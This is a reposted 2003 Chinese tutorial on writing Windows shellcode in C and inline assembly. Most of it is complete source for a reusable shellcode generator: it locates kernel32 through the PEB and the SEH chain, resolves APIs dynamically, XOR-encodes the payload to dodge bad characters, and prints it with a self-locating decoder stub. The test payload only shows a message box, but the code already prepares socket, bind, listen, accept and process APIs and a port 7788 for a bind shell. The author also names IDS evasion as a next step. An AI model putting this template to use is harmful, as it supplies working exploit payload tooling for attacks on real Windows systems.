关于Windows下ShellCode编写的一点思考转自：http://www.xfocus.net
创建时间：2003-11-30
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关于Windows下ShellCode编写的一点思考
By Hume/冷雨
关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章，但大都过于专业和简练，对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来，以慰同菜。
我不是工具论者，但合适的工具无疑会提高工作效率，而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的，并且要在执行时调用目标系统的API进行一些工作，因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址，其次由于其运行地址
难以确定，因此对数据的寻址要采用动态的方法。另外，ShellCode一般是作为数据发送
给受攻击程序的，而受攻击程序一般会对数据进行过滤，这对ShellCode提出了编码的要
求，现在ShellCode用的编码方法比较简单，基本是XOR大法或其变形。
编写ShellCode有目前流行的有两种方法：用C语言编写+提取；用汇编语言编写和提取。
就个人感觉而言，用汇编语言编写和提取是最方便的，因为ShellCode代码一般比较短，要
完成的任务也相对单一，一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编
编写便于数据的控制、代码定位及生成的控制，在某些汇编编译器中，提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令，这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开，分别编写和调试，而无需print、拷贝、粘贴等操作，只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。
但现在网络上流行的都是C编写的ShellCode，不过最终要生成的是ShellCode代码，这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码，而这些代码未必是我们需要的，还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难，只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行，比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来，复制、粘贴就可以用在攻击程序里面了。
用C编写的中心思想就是我们用C语言写代码，让编译器为我们生成二进制代码，然后在运行时
编码、打印，这样工作就完成了。
在网上找到了一个用C编写ShellCode的例子，于是亲自调试了一遍，发现了一些问题后修改
并加入一些自己的代码，测试通过。
其中的一些问题有：
1.KERNEL基地址的定位和API函数地址的获取
原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法，因为一是代码比较多，
二是要处理搜索无效页面引发的异常。现在还有两种方法可用：
一种是从PEB相关数据结构中获取，请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下：
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了
这种方法比较通用，适用于2K/XP/2003。
另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址，
再由该地址对齐追溯获得Kernel的基地址，这种方法也是比较通用的，适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。
2.几段代码的作用
在ShellCode提取代码中你或许会经常见到
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
这样的代码，其用途何在？答案在于在用Visual Studio生成调试版本的时候，用函数指针
操作获得的地址并不是指向真正的函数入口点，而是指向跳转指令JMP：
jmp function
上面那段代码就是处理这种情况的，如果不是为了调试方便，完全可以删去。
还有在代码中会看到：
jmp decode_end
decode_start:
pop edx
.......
decode_end:
call decode_start
Shell_start:
之类的代码其作用是定位Shell_start处的代码，便于装配，由于在C中没有方便的手段定位
代码的长度和位置，因此采用此变通的做法。在这种方法不符合编码的要求时，可以采用动态计算
和写入的方法。不过复杂了一点罢了。
3.关于局部变量的地址顺序
在原程序中采用了如下局部变量结构：
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
以为这样编译器生成的变量地址顺序就是这样的，在有些机器上也许如此，不过在我的
机器上则不然，比如下面的测试程序：
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>
void shell();
void __cdecl main(int argc,char *argv[])
{
FARPROC arg1;
FARPROC arg2;
FARPROC arg3;
FARPROC arg4;
FARPROC arg5;
int par1;
int par2;
int par3;
int par4;
char ch;
printf("Size of FARPROC %d\n",sizeof(FARPROC));
printf("\n%X\n%X\n%X\n%X\n%X\n\n \t%X\n%X\n%X\n%X\n \t%X\n",
&arg1,
&arg2,
&arg3,
&arg4,
&arg5,
&par1,
&par2,
&par3,
&par4,
&ch
);
}
在我机器上产生的输出是：
12FF7C
12FF78
12FF74
12FF70
12FF68
12FF6C
12FF64
12FF60
12FF5C
12FF58
这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法，C提供的Enum关键字使得这项
工作变得容易，详见下面的代码。
4.more
关于变形ShellCode躲避IDS检测，以及编码方法等需进一步研究。
5.代码
可见，用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成，以后写起来或写复杂ShellCode就省力多了。
增加API时只要在相应的.dll后增加函数名称项（如果str中还没有相应的dll，增加之）并
同步更新Enum的索引即可。调用API时直接使用：
API[_APINAME](param,....param);
即可。
如果没注释掉有#define DEBUG 1的话，下面代码编译后运行即可对ShellCode进行调试，
下面代码将弹出一个对话框，点击确定即可结束程序。that's ALL。
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
/*
使用C语言编写通用shellcode的程序
出处：internet
修改：Hume/冷雨飘心
测试：Win2K SP4 Local
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#define DEBUG 1
//
//函数原型
//
void DecryptSc();
void ShellCodes();
void PrintSc(char *lpBuff, int buffsize);
//
//用到的部分定义
//
#define BEGINSTRLEN 0x08 //开始字符串长度
#define ENDSTRLEN 0x08 //结束标记字符的长度
#define nop_CODE 0x90 //填充字符
#define nop_LEN 0x0 //ShellCode起始的填充长度
#define BUFFSIZE 0x20000 //输出缓冲区大小
#define sc_PORT 7788 //绑定端口号 0x1e6c
#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小
#define Enc_key 0x7A //编码密钥
#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够？
#define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够？
#define MAX_api_strlen 0x400 //APIstr字符串的长度
#define API_endstr "strend"//API结尾标记字符串
#define API_endstrlen 0x06 //标记字符串长度
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
//－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
enum{ //Kernel32
_CreatePipe,
_CreateProcessA,
_CloseHandle,
_PeekNamedPipe,
_ReadFile,
_WriteFile,
_ExitProcess,
//WS2_32
_socket,
_bind,
_listen,
_accept,
_send,
_recv,
_ioctlsocket,
_closesocket,
//本机测试User32
_MessageBeep,
_MessageBoxA,
API_num
};
//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]="\x1e\x6c" //端口地址
//Kernel32的API函数名称
"CreatePipe""\x0"
"CreateProcessA""\x0"
"CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0"
"WriteFile""\x0"
"ExitProcess""\x0"
//其它API中用到的API
"wsock32.dll""\x0"
"socket""\x0"
"bind""\x0"
"listen""\x0"
"accept""\x0"
"send""\x0"
"recv""\x0"
"ioctlsocket""\x0"
"closesocket""\x0"
//本机测试
"user32.dll""\x0"
"MessageBeep""\x0"
"MessageBoxA""\x0"
"\x0\x0\x0\x0\x0"
"strend";
char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记开始的字符串
char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记结束的字符串
char buff[BUFFSIZE]; //缓冲区
char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
char *pDcrypt_addr,
*pSc_addr;
int buff_len; //缓冲长度
int EncCode_len; //加密编码代码长度
int Sc_len; //原始ShellCode的长度
int i,k;
unsigned char ch;
//
//获得DecryptSc()地址，解码函数的地址，然后搜索MAX_Enc_Len字节，查找标记开始的字符串
//获得真正的解码汇编代码的开始地址，MAX_Enc_Len定义为1024字节一般这已经足够了，然后将这
//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
//
pDcrypt_addr=(char *)DecryptSc;
//定位其实际地址，因为在用Visual Studio生成调试版本调试的情况下，编译器会生成跳转表，
//从跳转表中要计算得出函数实际所在的地址，这只是为了方便用VC调试
ch=*pDcrypt_addr;
if (ch==0xe9)
{
pDcrypt_addr++;
i=*(int *)pDcrypt_addr;
pDcrypt_addr+=(i+4); //此时指向函数的实际地址
}
//找到解码代码的开始部分
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8); //如找到定位实际代码的开始
else
{
//显示错误信息
k=0;
printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
return 0;
}
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;
if (k<MAX_Enc_Len) EncCode_len=k;
else
{
k=0;
printf("\nNo End str defined in Decrypt function!Please Check....\n");
return 0;
}
memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充
memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代码复制进buff
//
//处理ShellCode代码,如果需要定位到代码的开始
//
pSc_addr=(char *)ShellCodes; //shellcode的地址
//调试状态下的函数地址处理，便于调试
ch=*pSc_addr;
if (ch==0xe9)
{
pSc_addr++;
i=*(int *)pSc_addr;
pSc_addr+=(i+4); //此时指向函数的实际地址
}
//如果需要定位到实际ShellCodes()的开始，这个版本中是不需要的
/*
for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
if (k<MAX_Enc_Len) pSc_addr+=(k+8); //如找到定位实际代码的开始
*/
//找到shellcode的结尾及长度
for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
if (k<MAX_Sc_Len) Sc_len=k;
else
{
k=0;
printf("\nNo End str defined in ShellCodes function!Please Check....\n");
return 0;
}
//把shellcode代码复制进sc_buff
memcpy(sc_buff,pSc_addr,Sc_len);
//把字符串拷贝在shellcode的结尾
for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
if(i>=MAX_api_strlen)
{
printf("\nNo End str defined in API strings!Please Check....\n");
return 0;
}
memcpy(sc_buff+k,ApiStr,i);
Sc_len+=i; //增加shellcode的长度
//
//对shellcode进行编码算法简单，可根据需要改变
//
k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始
for(i=0;i<Sc_len;++i){
ch=sc_buff[i]^Enc_key;
//对一些可能造成shellcode失效的字符进行替换
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff[k]='0';
++k;
ch+=0x31;
}
//把编码过的shellcode放在DecryptSc代码后面
buff[k]=ch;
++k;
}
//shellcode的总长度
buff_len=k;
//打印出shellcode
PrintSc(buff,buff_len);
//buff[buff_len]=0;
//printf("%s",buff);
#ifdef DEBUG
_asm{
lea eax,buff
jmp eax
ret
}
#endif
return 0;
}
//解码shellcode的代码
void DecryptSc()
{
__asm{
/////////////////////////
//定义开始标志
/////////////////////////
PROC_BEGIN //C macro to begin proc
jmp next
getEncCodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
lodsb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz special_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncCodeAddr
//其余真正加密的shellcode代码会连接在此处
shell:
/////////////////////////
//定义结束标志
/////////////////////////
PROC_END //C macro to end proc
}
}
//
//shellcode代码
//
void ShellCodes()
{
//API低址数组
FARPROC API[API_num];
//自己获取的API地址
FARPROC GetProcAddr;
FARPROC LoadLib;
HANDLE hKrnl32;
HANDLE libhandle;
char *ApiStr_addr,*p;
int k;
u_short shellcodeport;
//测试用变量
char *testAddr;
/*
STARTUPINFO siinfo;
SOCKET listenFD,clientFD;
struct sockaddr_in server;
int iAddrSize = sizeof(server);
int lBytesRead;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa;
*/
_asm {
jmp locate_addr0
getApiStr_addr:
pop ApiStr_addr
//开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
//以后就可以方便地获取任何API的地址了
//保护寄存器
pushad
xor esi,esi
lods dword ptr fs:[esi]
Search_Krnl32_lop:
inc eax
je Krnl32_Base_Ok
dec eax
xchg esi,eax
LODSD
jmp Search_Krnl32_lop
Krnl32_Base_Ok:
LODSD
;compare if PE_hdr
xchg esi,eax
find_pe_header:
dec esi
xor si,si ;kernel32 is 64kb align
mov eax,[esi]
add ax,-'ZM' ;
jne find_pe_header
mov edi,[esi+3ch] ;.e_lfanew
mov eax,[esi+edi]
add eax,-'EP' ;anti heuristic change this if you are using MASM etc.
jne find_pe_header
push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebx,esi
mov edi,[ebx+edi+78h] ;peh.DataDirectory
push edi
push esi
mov eax,[ebx+edi+20h] ;peexc.AddressOfNames
mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals
call __getProcAddr
_emit 0x47
_emit 0x65
_emit 0x74
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x63
_emit 0x41
_emit 0x64
_emit 0x64
_emit 0x72
_emit 0x65
_emit 0x73
_emit 0x73
_emit 0x0
//db "GetProcAddress",0
__getProcAddr:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebx+eax]
add esi,ebx
mov ecx,15
repz cmpsb
jnz next_
pop esi
pop edi
sub eax,[ebx+edi+20h] ;peexc.AddressOfNames
shr eax,1
add edx,ebx
movzx eax,word ptr [edx+eax]
add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions
add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
mov [hKrnl32],esi //保存
mov [GetProcAddr],ebx //保存
call _getLoadLib
_emit 0x4C
_emit 0x6F
_emit 0x61
_emit 0x64
_emit 0x4C
_emit 0x69
_emit 0x62
_emit 0x72
_emit 0x61
_emit 0x72
_emit 0x79
_emit 0x41
_emit 0x0
//db "LoadLibraryA",0
_getLoadLib:
push esi
call ebx
mov [LoadLib],eax
//恢复寄存器，避免更多问题
popad
}
//取出定义的端口地址
shellcodeport=*(u_short *)ApiStr_addr;
ApiStr_addr+=2;
////////////////////////////////测试用
testAddr=ApiStr_addr;
////////////////////////////////////
//利用GetProcAddress来获得shellcode中所用到的API地址
libhandle=hKrnl32;
p=ApiStr_addr;
k=0;
///*
while ( *((unsigned int *)p) != 0)
{
ApiStr_addr=p;
while(*p) p++; //前进到下一个字符串
if (*( (unsigned int *)(p-4))=='lld.')
{
libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL
}
else
{
API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
k++;
}
ApiStr_addr=++p; //更新指针前进一个字符位置
}
//*/
///////////////////////////////////////////////////////////////////////////
// 下面就可以使用C语言来编写真正实现功能的shellcode了 //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
// shellcode功能部分结束 //
///////////////////////////////////////////////////////////////////////////
//死循环
die:
goto die;
__asm
{
locate_addr0:
call getApiStr_addr //5 bytes
//真正的字符串数据要连接在此处
/////////////////////////
//定义结束标志
/////////////////////////
PROC_END //C macro to end proc
}
}
//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf("\"\n\"");
else
printf("\"");
sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}
